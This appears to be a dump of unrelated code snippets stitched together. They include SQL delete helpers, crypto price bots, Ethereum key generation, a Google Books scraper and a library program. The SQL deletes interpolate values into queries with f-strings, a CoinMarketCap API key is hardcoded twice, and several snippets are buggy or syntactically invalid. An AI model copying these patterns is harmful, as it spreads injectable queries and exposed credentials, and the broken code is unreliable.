    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(
        connection_string,
        f"""DELETE FROM ams_equilibrium_cma WHERE run_date = '{run_date}'"""
        )
    sql_execute(
        connection_string,
        f"""DELETE FROM ams_fi_cma WHERE run_date = '{run_date}'"""
        )
    sql_execute(
        connection_string,
        f"""DELETE FROM ams_fi_inputs WHERE run_date = '{run_date}'"""
        )


def delete_pre_opt(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_asset_class_stats WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_distributions WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_matrices WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_model_stats WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_scenarios WHERE run_date = '{run_date}'""")


def delete_opt(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_weights_account WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_weights_policy WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_weights_rebal WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_stats_rebal WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_stats_account WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_stats_policy WHERE run_date = '{run_date}'""")


def delete_opt_to(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_to_weights_rebal WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_to_stats_rebal WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_to_weights_acct WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_to_stats_acct WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_to_weights_pol WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_to_stats_pol WHERE run_date = '{run_date}'""")


def delete_pre_opt_eqinc(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_eq_inc_matrices WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_eq_inc_scenarios WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_eq_inc_fund_stats WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_eq_inc_coefficients WHERE run_date = '{run_date}'""")


def delete_opt_eqinc(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_eqinc_ax_weights_rebal WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_eqinc_ax_stats_rebal WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_eqinc_ax_weights_account WHERE run_date = '{run_date}'""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_eqinc_ax_stats_account WHERE run_date = '{run_date}'""")


def delete_opt_uk(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_weights_account 
                WHERE run_date = '{run_date}' 
                AND model_code in 
                {repr(uk_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_weights_policy 
                WHERE run_date = '{run_date}' 
                AND model_code in 
                {repr(uk_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_weights_rebal 
                WHERE run_date = '{run_date}' 
                AND model_code in 
                {repr(uk_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_stats_rebal 
                WHERE run_date = '{run_date}' 
                AND model_code in 
                {repr(uk_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_stats_account 
                WHERE run_date = '{run_date}' 
                AND model_code in 
                {repr(uk_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_stats_policy 
                WHERE run_date = '{run_date}' 
                AND model_code in 
                {repr(uk_models)}""")


def delete_pre_opt_uk(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_asset_class_stats 
                WHERE run_date = '{run_date}' 
                AND asset_class in 
                {repr(uk_asset_classes)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_distributions 
                WHERE run_date = '{run_date}' 
                AND asset_class in 
                {repr(uk_asset_classes)}""")
    sql_execute(connection_string,
    f"""DELETE FROM ams_matrices 
        WHERE run_date = '{run_date}' 
        AND (asset_class_1 in 
        {repr(uk_asset_classes)} 
        OR asset_class_2 in 
        {repr(uk_asset_classes)})""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_model_stats 
                WHERE run_date = '{run_date}' 
                AND model_code in 
                {repr(uk_models_policies)}""")
    sql_execute(connection_string,
        f"""DELETE FROM ams_scenarios 
        WHERE run_date = '{run_date}' 
        AND asset_class in 
        {repr(uk_asset_classes)}""")

def delete_opt_muni(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_weights_account 
                WHERE run_date = '{run_date}' 
                AND model_code in {repr(muni_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_weights_policy 
                WHERE run_date = '{run_date}' 
                AND model_code in {repr(muni_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_weights_rebal 
                WHERE run_date = '{run_date}' 
                AND model_code in {repr(muni_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_stats_rebal W
                HERE run_date = '{run_date}' 
                AND model_code in {repr(muni_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_stats_account 
                WHERE run_date = '{run_date}' 
                AND model_code in {repr(muni_models)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_axioma_stats_policy 
                WHERE run_date = '{run_date}' 
                AND model_code in {repr(muni_models)}""")


def delete_pre_opt_muni(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_asset_class_stats 
                WHERE run_date = '{run_date}' 
                AND asset_class in 
                {repr(muni_asset_classes)}""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_distributions 
                WHERE run_date = '{run_date}' 
                AND asset_class in 
                {repr(muni_asset_classes)}""")
    sql_execute(connection_string, f"""DELETE FROM ams_matrices 
        WHERE run_date = '{run_date}' 
        AND (asset_class_1 in 
        {repr(muni_asset_classes)}
        OR asset_class_2 in 
        {repr(muni_asset_classes)})""")
    sql_execute(connection_string,
                f"""DELETE FROM ams_model_stats 
                WHERE run_date = '{run_date}' 
                AND model_code in 
                {repr(muni_models_policies)}""")
    sql_execute(connection_string, f"""DELETE FROM ams_scenarios 
        WHERE run_date = '{run_date}' 
        AND asset_class in 
        {repr(muni_asset_classes)}""")


def delete_raw_returns(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_raw_returns WHERE time_series_date = '{run_date}'""")


def delete_fundamentals(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_fundamentals WHERE run_date = '{run_date}'""")


def delete_equilibrium(run_date):
    """
    This function deletes SQL output from the script in the function name for a given run_date

    Args:
    run_date (str): The date to delete from the SQL tables
    """
    sql_execute(connection_string,
                f"""DELETE FROM ams_equilibrium_cma WHERE run_date = '{run_date}'""")


def delete_optimization_output(script, run_date):
    """
    This function deletes SQL output from the optimization script runs for a given run_date.
    List of Scripts [delete_raw_returns, delete_fundamentals, delete_equilibrium, delete_fi_cmas, 
    delete_pre_opt, delete_opt, delete_opt_to, delete_pre_opt_eqinc, delete_opt_eqinc, delete_opt_uk,
    delete_pre_opt_uk, delete_opt_muni, delete_pre_opt_muni]

    Args:
    script (str): The script that was run to delete from the SQL tables
    run_date (str): The date to delete from the SQL tables
    """
    run_funcs = {
        'delete_raw_returns', 
        'delete_fundamentals', 
        'delete_equilibrium', 
        'delete_fi_cmas', 
        'delete_pre_opt', 
        'delete_opt', 
        'delete_opt_to', 
        'delete_pre_opt_eqinc', 
        'delete_opt_eqinc', 
        'delete_opt_uk',
        'delete_pre_opt_uk', 
        'delete_opt_muni', 
        'delete_pre_opt_muni'
        }
    assert script in run_funcs, 'script not in dictionary'
    func_return = globals()[script](run_date)
    return func_return


DELETE_DATE = '30-SEP-2023'
delete_optimization_output('delete_opt', DELETE_DATE)
import time
from functools import lru_cache


def calculate_time(func):
    def wrapper(*args, **kwargs):
        start_time = time.time()
        result = func(*args, **kwargs)
        end_time = time.time()
        print(end_time - start_time)
        return result

    return wrapper


def fib(n):
    if n == 0 or n == 1:
        return 1

    return fib(n - 1) + fib(n - 2)


@calculate_time
@lru_cache
def call_fib(n):
    return fib(n)


print(call_fib(36))
print(call_fib(36))
from time import sleep
import threading


def say_hi():
    while True:
        print('hi')
        sleep(1)


def say_hello():
    while True:
        print('Helloooooooooo')
        sleep(2)


threading.Thread(target=say_hi).start()
threading.Thread(target=say_hello).start()
import asyncio


async def say_hi():
    while True:
        print('hi')
        await asyncio.sleep(1)


async def say_hello():
    while True:
        print('Helloooooooooo')
        await asyncio.sleep(2)


async def main():
    task1 = loop.create_task(say_hi())
    task2 = loop.create_task(say_hello())
    await asyncio.wait([task1, task2])

    """This is also correct"""
    # await asyncio.gather(say_hi(), say_hello())


if __name__ == '__main__':
    loop = asyncio.get_event_loop()

    try:
        loop.run_until_complete(main())
    finally:
        loop.close()
    ____  __           __        __          _     
   / __ )/ /___  _____/ /_______/ /_  ____ _(_)____
  / __  / / __ \/ ___/ //_/ ___/ __ \/ __ `/ / ___/
 / /_/ / / /_/ / /__/ ,< / /__/ / / / /_/ / / /    
/_____/_/\____/\___/_/|_|\___/_/ /_/\__,_/_/_/     
                                                   
"python.formatting.autopep8Args": [
    "--max-line-length=200"
]
class Node:
    def __init__(self, data):
        self.data = data
        self.next = None


class LinkedList:
    def __init__(self):
        self.head = None

    def push(self, new_data):
        new_node = Node(new_data)
        new_node.next = self.head
        self.head = new_node

    def insertAfter(self, prev, new_data):

        if prev is None:
            print("The given previous node must in LinkedList")
            return

        new_node = Node(new_data)
        new_node.next = prev.next
        prev.next = new_node

    def append(self, new_data):
        new_node = Node(new_data)
        if self.head is None:
            self.head = new_node
            return
        last = self.go_to_end(self.head)
        last.next = new_node

    def delete(self, key, node=None):
        temp = self.head

        if temp is not None:
            if temp.data == key:
                self.head = temp.next
                temp = None
                return
        prev, temp = self.search_recursion(key, temp)

        if temp is None:
            return
        prev.next = temp.next
        temp = None

    def go_to_end(self, head):
        if head.next:
            head = head.next
            self.go_to_end(head)
        return head.next

    def search_recursion(self, key, node=None):
        if node is not None:
            if node.data != key:
                node = node.next
                self.search_recursion(key, node)
        return node, node.next

    def printLinkList(self):
        temp = self.head
        while(temp):
            print(temp.data, end=" ")
            temp = temp.next


if __name__ == '__main__':
    list = LinkedList()
    list.push(4)
    list.push(5)
    list.push(6)
    list.push(7)
    list.printLinkList()
    list.delete(5)
    list.printLinkList()
for i in range((len(features)//100)+1):
    start=i*100
    end=min((i+1)*100,len(features))
    features[start,end]
#  without forcing dtype it changes None to NaN!
s_bad = pd.Series([1, None], dtype=object)
s_good = pd.Series([1, np.nan])

In [13]: s_bad.dtype
Out[13]: dtype('O')

In [14]: s_good.dtype
Out[14]: dtype('float64')
import pyinstaller_versionfile

pyinstaller_versionfile.create_versionfile(
    output_file="test_versionfile.txt",
    version="1.0",
    company_name="somecompany pvt ltd",
    file_description="This is lms for desktop from some industry",
    internal_name="App",
    legal_copyright="© some companry pvt ltd. All rights reserved.",
    original_filename="Uls.exe",
    product_name="uls_lms"
)
pyinstaller  --noconsole --onefile  --icon=uls-icon.ico --version-file uls_lms_versionfile.txt  lms_app.py
if grouped:
    last_value = None
    for obj in data["datasets"]:
        if obj["stack"] == last_value:
            obj["first_of_stack"] = ""
        else:
            obj["first_of_stack"] = True
        last_value = obj["stack"]
        
        
data["datasets"].append(
                {
                    "data": labels,
                    "label": el.name,
                    "backgroundColor": el.color,
                    "info": ...,
                    "date": f"{report_month:02d}/{str(report_year)[-2:]}",
                    "stack": f"Report {report_pk}",
                    "first_of_stack": "",
                }
            )
last_value = None
for obj in collection:
    if obj.name == last_value:
        # do something
    else:
        # do something different
    last_value = obj.name
df2 = df1.filter(['Col 1', 'Col 2'], axis=1)
df2.write_csv('output.csv', index=False) # do not create a separate column index
import os
import telebot
import main
from dotenv import load_dotenv
load_dotenv()

API_KEY = os.environ.get('TELEGRAM_API_KEY')
bot = telebot.TeleBot(
    API_KEY, parse_mode=None)


@bot.message_handler(commands=['start', 'help'])
def greet(message):
    bot.reply_to(message, "Hey My G")


@bot.message_handler(commands=['btc', 'BTC', 'bitcoin', 'BITCOIN'])
def prices(message):
    bot.reply_to(message, main.get_cmc_data('BTC'))


@bot.message_handler(commands=['eth', 'ETH', 'ethereum', 'ETHEREUM'])
def prices(message):
    bot.reply_to(message, main.get_cmc_data('ETH'))


@bot.message_handler(commands=['wagmi', 'WAGMI'])
def prices(message):
    bot.reply_to(message, main.get_cmc_data('WAGMI'))


bot.polling()
print("bot running...")
sales.groupby('Platform').get_group('X360')

platform_names = {
    'PS3':'Playstation',
    'PS4':'Playstation',
    'X360':'Xbox',
    'XOne':'Xbox'
}

sales.set_index('Platform').groupby(platform_names).sum()
# initialize
a = []

# create the table (name, age, job)
a.append(["Nick", 30, "Doctor"])
a.append(["John",  8, "Student"])
a.append(["Paul", 22, "Car Dealer"])
a.append(["Mark", 66, "Retired"])    

# sort the table by age
import operator
a.sort(key=operator.itemgetter(1))    

# print the table
print(a)
import random

print("Lower or higher game:")
value = list(range(1, 14))
suit = ["clubs", "diamonds", "heats", "slades"]
rank = ["ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "jack", "queen", "king"]
cards = []
# for role in suit:
#     for grade in rank:
#         cards.append((role, grade, value[(rank.index(grade))]))
cards=[(role,grade,value[(rank.index(grade))]) for role in suit for grade in rank]   
     
        # card.extend((role,value))     #for example value "1" is Ace, "2" is 2 and so on
        # you can reach grade with using .index() they are related together

eight_cards = random.sample(cards, 8)
temp1 = dict(zip(("suit", "rank", "value"), eight_cards[0]))
temp2 = 0
print(temp1)
user_points = 0

# for cards in eight_cards[1:]:

#     user_input = input("your turn: higher or lower???\n")
#     if cards[2] >

for cards in range(1, 8):

    user_input = input("your turn: higher or lower???\n")
    if (eight_cards[cards][2] > eight_cards[cards - 1][2] and user_input == "h") or (
        eight_cards[cards][2] < eight_cards[cards - 1][2] and user_input == "l"
    ):
        user_points += 20
    else:
        user_points-=15
        
    print(user_points)
    
    
# Set default figure size in a notebook
plt.rcParams['figure.figsize'] = [11,8.5]
def listtostr(list,strvar):
  for x in list:
    stvar=strvar+=x
import requests
from datetime import datetime

URL = "https://min-api.cryptocompare.com/data/price?fsym={}&tsyms={}"

def get_price(coin, currency):
    try:
        response = requests.get(URL.format(coin, currency)).json()
        return response
    except:
        return False

while True:
    date_time = datetime.now()
    date_time = date_time.strftime("%d/%m/%Y %H:%M:%S")
    currentPrice = get_price("BTC", "USD")
    if currentPrice:
        print(date_time, "$", currentPrice["USD"])
# web3 library that contains functions to generate Ethereum accounts and sign transactions and data
#Importing Account from the eth_account module of Web3.py
from eth_account import Account
# python module used for generating random numbers
import secrets

#Generating a random hexadecimal string of 32 bytes / 64 characters and storing it in priv variable
priv = secrets.token_hex(32)

#Attaching 0x prefix to our 64 character hexadecimal string stored in priv and storing the new string in variable private_key
private_key = "0x" + priv
print("SAVE BUT DO NOT SHARE:", private_key)

#Creating a new account using the private_key and storing it in variable acct
acct = Account.from_key(private_key)
print("Address:", acct.address)
python -m pip install --upgrade pip
import json
import os
import requests
from models import Asset

apikey = os.environ.get('API_KEY')

headers = {
    'X-CMC_PRO_API_KEY': apikey,
    'Accepts': 'application/json'
}

params = {
    'start': '1',
    'limit': '5',
    'convert': 'USD'
}


def getTokePrice(symbol):
    url = 'https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest'

    json = requests.get(url, params=params, headers=headers).json()
    coins = json['data']
from google.cloud import bigquery

# Construct a BigQuery client object.
client = bigquery.Client(credentials=credentials)

# TODO(developer): Set table_id to the ID of the model to fetch.
table_id = 'raw_engagement.users_landmarks'

table = client.get_table(table_id)  # Make an API request.

table_schema = [{'name':bqfield.name,'type':bqfield.field_type,'mode':bqfield.mode} for bqfield in table.schema]
import json
import requests

apikey = '43979f1b-f353-4842-ad8a-ecb2735f3b71'

headers = {
    'X-CMC_PRO_API_KEY' : apikey,
    'Accepts' : 'application/json'
}

params = {
    'start' : '1',
    'limit' : '5',
    'convert' : 'USD'
}

url = 'https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest'

json = requests.get(url, params=params, headers=headers).json()

coins = json['data']

for coin in coins:
    if coin['symbol'] == 'BTC':
        print(coin['symbol'], coin['quote']['USD']['price'])
import json
import requests

apikey = '43979f1b-f353-4842-ad8a-ecb2735f3b71'

headers = {
    'X-CMC_PRO_API_KEY' : apikey,
    'Accepts' : 'application/json'
}

params = {
    'start' : '1',
    'limit' : '5',
    'convert' : 'USD'
}

url = 'https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest'

json = requests.get(url, params=params, headers=headers).json()

coins = json['data']

for coin in coins:
    print(coin['symbol'], coin['quote']['USD']['price'])
import json
import requests

eth = requests.get(
    "https://api.coingecko.com/api/v3/simple/price?ids=ethereum&vs_currencies=usd")

print(eth.json()["ethereum"]["usd"])
cv.rectangle(blank,(250,500),(0,0),(0,255,0),thickness=cv.FILLED)
print(json.dumps(books_results, indent=2))
books_results.append({
    "title": title,
    "link": link,
    "displayed_link": displayed_link,
    "snippet": snippet,
    "author": author,
    "author_link": author_link,
    "date_published": date_published,
    "preview_link": preview_link,
    # if URL is present, add "https://www.google.com" to the URL, instead to None: "Nonehttps://www.google.com"
    "more_editions_link": f"https://www.google.com{more_editions_link}" if more_editions_link is not None else None, 
    "thumbnail": bytes(bytes(book_thumbnail, "ascii").decode("unicode-escape"), "ascii").decode("unicode-escape")
})
for book_thumbnail, book_result in zip(book_thumbnails, selector.css(".Yr5TG")):
    title = book_result.css(".DKV0Md::text").get()
    link = book_result.css(".bHexk a::attr(href)").get()
    displayed_link = book_result.css(".tjvcx::text").get()
    snippet = book_result.css(".cmlJmd span::text").get()
    author = book_result.css(".fl span::text").get()
    author_link = f'https://www.google.com/search{book_result.css(".N96wpd .fl::attr(href)").get()}'
    date_published = book_result.css(".fl+ span::text").get()
    preview_link = book_result.css(".R1n8Q a.yKioRe:nth-child(1)::attr(href)").get()
    more_editions_link = book_result.css(".R1n8Q a.yKioRe:nth-child(2)::attr(href)").get()
# https://regex101.com/r/mapBs4/1
book_thumbnails = re.findall(r"s=\\'data:image/jpg;base64,(.*?)\\'", str(selector.css("script").getall()), re.DOTALL)
html = requests.get("https://www.google.com/search", params=params, headers=headers, timeout=30)
selector = Selector(text=html.text)
# https://docs.python-requests.org/en/master/user/quickstart/#passing-parameters-in-urls
params = {
    "q": "richard branson",  # search query
    "tbm": "bks",            # book results
    "gl": "us",              # country to search from
    "hl": "en"               # language
}

# https://requests.readthedocs.io/en/master/user/quickstart/#custom-headers
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.87 Safari/537.36",
}
from parsel import Selector
import requests, json
from parsel import Selector
import requests, json, re

params = {
    "q": "richard branson",
    "tbm": "bks",
    "gl": "us",
    "hl": "en"
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.87 Safari/537.36",
}

html = requests.get("https://www.google.com/search", params=params, headers=headers, timeout=30)
selector = Selector(text=html.text)

books_results = []

# https://regex101.com/r/mapBs4/1
book_thumbnails = re.findall(r"s=\\'data:image/jpg;base64,(.*?)\\'", str(selector.css("script").getall()), re.DOTALL)

for book_thumbnail, book_result in zip(book_thumbnails, selector.css(".Yr5TG")):
    title = book_result.css(".DKV0Md::text").get()
    link = book_result.css(".bHexk a::attr(href)").get()
    displayed_link = book_result.css(".tjvcx::text").get()
    snippet = book_result.css(".cmlJmd span::text").get()
    author = book_result.css(".fl span::text").get()
    author_link = f'https://www.google.com/search{book_result.css(".N96wpd .fl::attr(href)").get()}'
    date_published = book_result.css(".fl+ span::text").get()
    preview_link = book_result.css(".R1n8Q a.yKioRe:nth-child(1)::attr(href)").get()
    more_editions_link = book_result.css(".R1n8Q a.yKioRe:nth-child(2)::attr(href)").get()

    books_results.append({
        "title": title,
        "link": link,
        "displayed_link": displayed_link,
        "snippet": snippet,
        "author": author,
        "author_link": author_link,
        "date_published": date_published,
        "preview_link": preview_link,
        "more_editions_link": f"https://www.google.com{more_editions_link}" if more_editions_link is not None else None,
        "thumbnail": bytes(bytes(book_thumbnail, "ascii").decode("unicode-escape"), "ascii").decode("unicode-escape")
    })


print(json.dumps(books_results, indent=2))
import cv2 as cv
import numpy as np
blank=np.zeros((500,500,3),dtype="uint8")
cv.rectangle(blank,(0,0),(250,250),(0,255,0),thickness=2)

img=cv.imread("C:/xy.jpg")
cv.imshow("gree",blank)
cv.waitKey(0)
#view.py

from django.shortcuts import get_object_or_404
from my_project.example.models import Profile
from rest_framework.renderers import TemplateHTMLRenderer
from rest_framework.views import APIView


class ProfileDetail(APIView):
    renderer_classes = [TemplateHTMLRenderer]
    template_name = 'profile_detail.html'

    def get(self, request, pk):
        profile = get_object_or_404(Profile, pk=pk)
        serializer = ProfileSerializer(profile)
        return Response({'serializer': serializer, 'profile': profile})

    def post(self, request, pk):
        profile = get_object_or_404(Profile, pk=pk)
        serializer = ProfileSerializer(profile, data=request.data)
        if not serializer.is_valid():
            return Response({'serializer': serializer, 'profile': profile})
        serializer.save()
        return redirect('profile-list')

#profile_detail.html

{% load rest_framework %}

<html><body>

<h1>Profile - {{ profile.name }}</h1>

<form action="{% url 'profile-detail' pk=profile.pk %}" method="POST">
    {% csrf_token %}
    {% render_form serializer %}
    <input type="submit" value="Save">
</form>

</body></html>
# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def isSymmetric(self, root: Optional[TreeNode]) -> bool:
        
        if not root:
            return True
        def check(left,right):
            if not left and not right:
                return True
            
            if not left or not right:
                return False
            
            if left.val !=right.val:
                return False
            
            return check(left.left, right.right) and check(left.right, right.left)
            
        return check(root.left,root.right)
capture=cv.VideoCapture("C:/videoplayback (1).mp4")
while True:
    isTrue,frame=capture.read()
    cv.imshow("videoplayback (1)",frame)
    if cv.waitKey(20) & 0xFF==ord("d"):
        break
capture.release()
cv.destroyWindow()
# -- Importing Modules
import pickle
import os
clear = lambda: os.system('cls' if os.name in ('nt', 'dos') else 'clear')
clear()

def check(name,Class):
    return True
    
def studentHeader():
    clear()
    print("you are welcome to the student module")
# -- Importing some important modules ...
# from collections import OrderedDict
from logging import exception
import os
import json
from datetime import date
import time
import Student_Module as std
def clear(): return os.system('cls' if os.name in ('nt', 'dos') else 'clear')



# >> ....................................... Auxillary functions ....................................... <<

# // Function for spacing 
def tab(n):
    a=" "
    b=str()
    for i in range(n):
        b=b+a
    return b

# // Function to return today's date
def today_date():
    dateIs = date.isoformat(date.today())
    return dateIs

# // Function for returning the no. of available records of books
def serial_no():
    f = open("Stationaries.txt")
    ser = int()
    while True:
        try:
            a=f.readline()
            if a=="":
                break
            ser = ser+1
            print(ser)
        except:
            break

    f.close()
    return ser+1

# // Function for printing the list of books/students
def printList(takeList,arg1):
    clear()
    bookName=[]
    Class=[]
    Bool=[]
    Status=[]
    Date=[]
    Sn=[]

    for item in takeList:

        bookName.append(item['Book'])
        Class.append(item['Class'])
        Bool.append(item['Bool'])
        Status.append(item['Status'])
        Date.append(item['Date'])
        Sn.append(item['SerialNo'])

    if arg1 == "C" or arg1 == "D":

        print(" Sn. I  Book   I    Class  I   Type   I      Date     I      Status    I")

        for i in range(len(Sn)):
            stat=Status[i]
            if stat==True:
                stats="Available"
            elif stat==False:
                stats="Unavailable"
            print(f" {i}.{tab(4)}{bookName[i]}{tab(15-len(bookName[i]))}{Class[i]}{tab(9-len(str(Class[i])))}{Bool[i]}{tab(8-len(str(Bool[i])))}{tab(3)}{Date[i]}        {stats}\n")

    elif arg1=="P":
        pass

# >> ..................................................................................................... <<



# >> ........................................... Main Functions .......................................... <<

# // Returns the list of books [returns list]
def listOfBooks():
    clear()
    f = open("Stationaries.txt")

    def sortDateWise():
        sorted_list1 = []
        while True:
            try:
                a=f.readline()
                b=json.loads(a)
                sorted_list1.append(b)
            except:
                break 
        print(sorted_list1)
        time.sleep(2)
        return sorted_list1

    def sortClassWise():
        a = sortDateWise()
        li = {}
        sorted_list2 = []
        for item in a:
            dict1 = item
            sr = dict1['SerialNo']
            cl = dict1['Class']
            li[sr] = cl
        sort_orders = sorted(li.items(), key=lambda x: x[1])
        # print(sort_orders)
        # time.sleep(4)
        for item in sort_orders:
            seri = item[0]
            for item2 in a:
                seri2 = item2['SerialNo']
                if seri2 == seri:
                    sorted_list2.append(item2)
        print(sorted_list2)
        time.sleep(2)
        return sorted_list2
    
    def sortPendingWise():
        pass

    print("""
    Sort according to Date or Class -
    \n 1.Date [D]
    \n 2.Class [C]
    \n 3.Pending Books[P]
    """)
    user_response = input("Choose any one : ")
    if user_response == "d":
        sorted_list = sortDateWise()
        f.close()
        return sorted_list,"D"
    elif user_response == "c":
        sorted_list = sortClassWise()
        f.close()
        return sorted_list,"C"
    elif user_response == "p":
        sorted_list = sortPendingWise()
        f.close()
        return sorted_list,"P"

# // Add new item
def addNewBook():
    f = open("Stationaries.txt", "a")
    clear()
    print("Fill the data below ...\n")
    a = str(input("Subject : "))
    b = int(input("Class : "))
    c = input("Book[b] or Copy[c] : ")
    if c == "b":
        bol = True
    elif c == "c":
        bol = False
    dict_of_item = {"Book": a, "Class": b,                           # -- Here Bool and Status class are boolean keys in this dict_of_item  
                    "Bool": bol, "Status":True,                      # -- Bool [True:Book & False:Copy] and Status[True:Availabe and False:Unavailable]
                    "Date": today_date(), "SerialNo": serial_no()}
    str_of_dict=json.dumps(dict_of_item)
    f.write(str_of_dict+'\n')
    f.close()

# // If user wants to borrow any book
def borrowBook():
    f=open("Stationaries.txt","r")
    
    #.. ***********Input section************
    std_name=input("Enter the student's name : ")
    std_class=input("Enter its class :")
    result=std.check(std_name,std_class)
    d=str()
    if result==True:
        bk_name=input("Enter the name of the book/subject : ")
        while True:
            try:
                a=f.readline()
                if a==" ":
                    break
                b=json.loads(a)
                book_name=b['Book']
                avail=b['Status']
                if avail==True:  
                    if bk_name.casefold()==book_name.casefold():
                        b['Status']=False
                        c=json.dumps(b)
                        d=d+c+'\n'
                    else:
                       c=json.dumps(b)
                       d=d+c+'\n' 
                else:
                    c=json.dumps(b)
                    d=d+c+'\n'
            except:
                break        
    elif result==False:
        pass
    fn=open("Stationaries.txt","w")  
    fn.write(d)
    fn.close()
    f.close()

# // If user wants to return any borrowed book
def returnBook():
    pass

# // library function
def libraryHeader():

    while True:

        clear()

        print("""
1.See the list of Books/Copies\n
2.Add new Book/Copy\n
3.Borrow any Book/Copy\n
4.Return the Book/Copy\n
        """)
    # try:
        user_input=int()
        user_input=int(input("Enter Your Choice [1, 2, 3, 4]: "))

            
        if user_input == 1:
            list_of_books,Wise=listOfBooks()
            printList(list_of_books,Wise)
            break
        elif user_input == 2:
            addNewBook()
            break
        elif user_input == 3:
            borrowBook()
            break
        elif user_input == 4:
            returnBook()
            break
        else:
            print("Invalid Input !")
    # except:
    #     print("Invalid Input !")
        time.sleep(2)
        clear()



# .. Main  body of the program
if __name__ == "__main__":
    clear()
    
#-- Importing Modules ...
from logging import exception
import Library_Module as lib
import Student_Module as std
import os
import time 


# >> -------------------------------------------------- Function Section --------------------------------------------------- <<

# // Function for creating some important files for the program (1. Stationaries.txt  & 2. Students.txt)
def makeMainFile():
    try:
        f1 = open("Stationaries.txt", "x")
        f1.close()
        try:
            f2 = open("Students.txt", "x")
            f2.close()
        except:
            pass
    except:
        pass

# >> ------------------------------------------------------------------------------------------------------------------------ <<


# *********************************************************************************************

clear = lambda: os.system('cls' if os.name in ('nt', 'dos') else 'clear')   # cls function                    
clear()

makeMainFile()  # .. calling Function from above Function Section


# ***********************************************************************************************

# -- LOOP for asking for the input 

while True:

    print("""
*****************Welcome*****************\n
1.Library Mode\n
